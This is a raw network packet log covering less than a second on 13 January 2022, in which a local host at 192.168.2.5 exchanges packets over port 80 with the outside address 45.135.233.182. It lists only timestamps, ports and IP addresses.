Jan 13, 2022 20:51:32.363991022 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.364065886 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.364109039 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.364139080 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.364187002 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.364213943 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.364254951 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.364257097 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.364279985 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.364325047 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.364773989 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.364804983 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.364860058 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.367158890 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.367193937 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.367223978 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.367252111 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.367304087 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.367335081 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.367511988 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.367539883 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.367587090 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.418803930 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.418837070 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.418853998 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.418869972 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.418930054 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.418967009 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.419173956 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.419205904 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.419228077 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.419249058 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.419256926 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.419291019 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.419805050 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.419830084 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.419847965 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.419864893 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.419910908 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.420427084 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.420445919 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.420463085 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.420464039 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.420481920 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.420516014 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.420541048 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.421983004 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422017097 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422044992 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422090054 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.422174931 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422202110 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422226906 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422230005 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.422250986 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422275066 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.422275066 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422316074 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.422553062 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422588110 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422692060 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422693014 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.422729015 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422763109 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422775984 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.422796965 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422821999 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422846079 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422848940 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.422871113 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422888994 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.422895908 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422919989 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422938108 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.422944069 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.422990084 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.423245907 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.423279047 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.423304081 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.423315048 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.423333883 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.423379898 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.423832893 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.423862934 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.423887968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.423913002 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.423923969 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.423969030 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.424623013 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.424652100 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.424674988 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.424700022 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.424714088 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.424751043 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.424838066 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.424863100 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.424907923 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.474488020 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.474550009 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.474731922 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.478604078 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.478646040 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.478671074 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.478694916 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.478776932 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.478832006 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.479309082 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.479367018 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.479440928 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.479445934 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.479480982 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.479523897 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.479527950 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.479706049 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.479754925 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.479779959 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.479886055 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.479924917 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.479931116 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.479964972 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.480006933 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.480011940 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.480048895 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.480093002 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.480093956 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.480134010 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.480175972 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.480179071 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.480232000 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.480281115 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.480283976 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.480331898 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.480396986 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.480559111 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.480604887 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.480653048 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.480691910 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.480734110 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.480777979 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.480792046 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.480833054 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.480871916 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.480875969 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.480911970 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.480963945 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.481483936 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.481539011 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.481585979 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.481601000 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.481642008 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.481687069 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.482093096 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.482161999 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.482209921 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.482223988 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.482317924 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.482367039 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.482378006 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.482407093 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.482446909 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.482450962 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.482516050 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.482558966 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.482614994 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.482687950 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.482728958 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.482731104 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.482768059 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.482805967 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.482812881 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.482846022 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.482884884 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.482887983 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.482924938 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.482968092 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.483022928 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.529412985 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.529551029 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.538006067 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.538062096 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.538101912 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.538126945 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.538137913 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.538196087 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.538214922 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.538266897 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.538295984 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.538307905 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.538330078 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.538382053 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.538602114 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.538630009 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.538660049 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.538674116 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.538687944 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.538726091 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.538954020 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.538984060 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.539011955 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.539027929 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.539036989 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.539078951 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.539304018 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.539339066 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.539367914 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.539396048 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.539397001 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.539433956 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.539522886 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.539588928 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.539616108 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.539632082 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.539644003 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.539684057 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.539824963 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.539855003 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.539899111 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.543178082 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.543214083 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.543242931 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.543270111 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.543302059 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.543343067 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.543471098 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.543514013 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.543572903 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.543574095 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.543601036 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.543629885 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.543648005 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.543658972 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.543685913 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.543706894 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.543715954 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.543762922 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.544104099 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.544133902 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.544162989 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.544190884 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.544189930 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.544236898 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.544282913 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.544373989 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.544399023 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.544423103 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.544428110 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.544473886 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.544646978 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.544729948 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.544753075 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.544778109 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.544799089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.544843912 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.545011044 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.545033932 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.545073986 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.601205111 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.601259947 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.601301908 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.601326942 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.601341963 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.601391077 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.601396084 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.601430893 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.601475954 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.601481915 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.601519108 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.601567984 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.601577997 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.601608992 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.601660013 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.602030039 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.602087975 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.602133036 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.602145910 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.602204084 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.602264881 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.602912903 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.602982998 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.603041887 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.603046894 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.603199005 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.603255987 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.603260040 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.603328943 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.603388071 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.603404045 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.603449106 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.603497982 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.604640007 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.604707956 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.604764938 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.604768991 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.604829073 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.604890108 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.610935926 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.611013889 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.611078024 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.611082077 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.611155987 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.611212015 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.611419916 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.611546993 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.611598969 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.611627102 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.611690998 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.611736059 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.611761093 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.611893892 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.611944914 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.611954927 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.612018108 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.612060070 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.612078905 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.612134933 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.612178087 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.612195015 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.612257957 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.612303972 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.612742901 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.612791061 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.612829924 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.612838984 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.612869978 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.612907887 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.613070965 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.613116980 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.613156080 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.613161087 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.613195896 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.613238096 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.613439083 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.613504887 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.613549948 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.613569021 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.613630056 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.613672018 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.667953968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.667989969 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.668015003 CET	80	49845	45.135.233.182	192.168.2.5
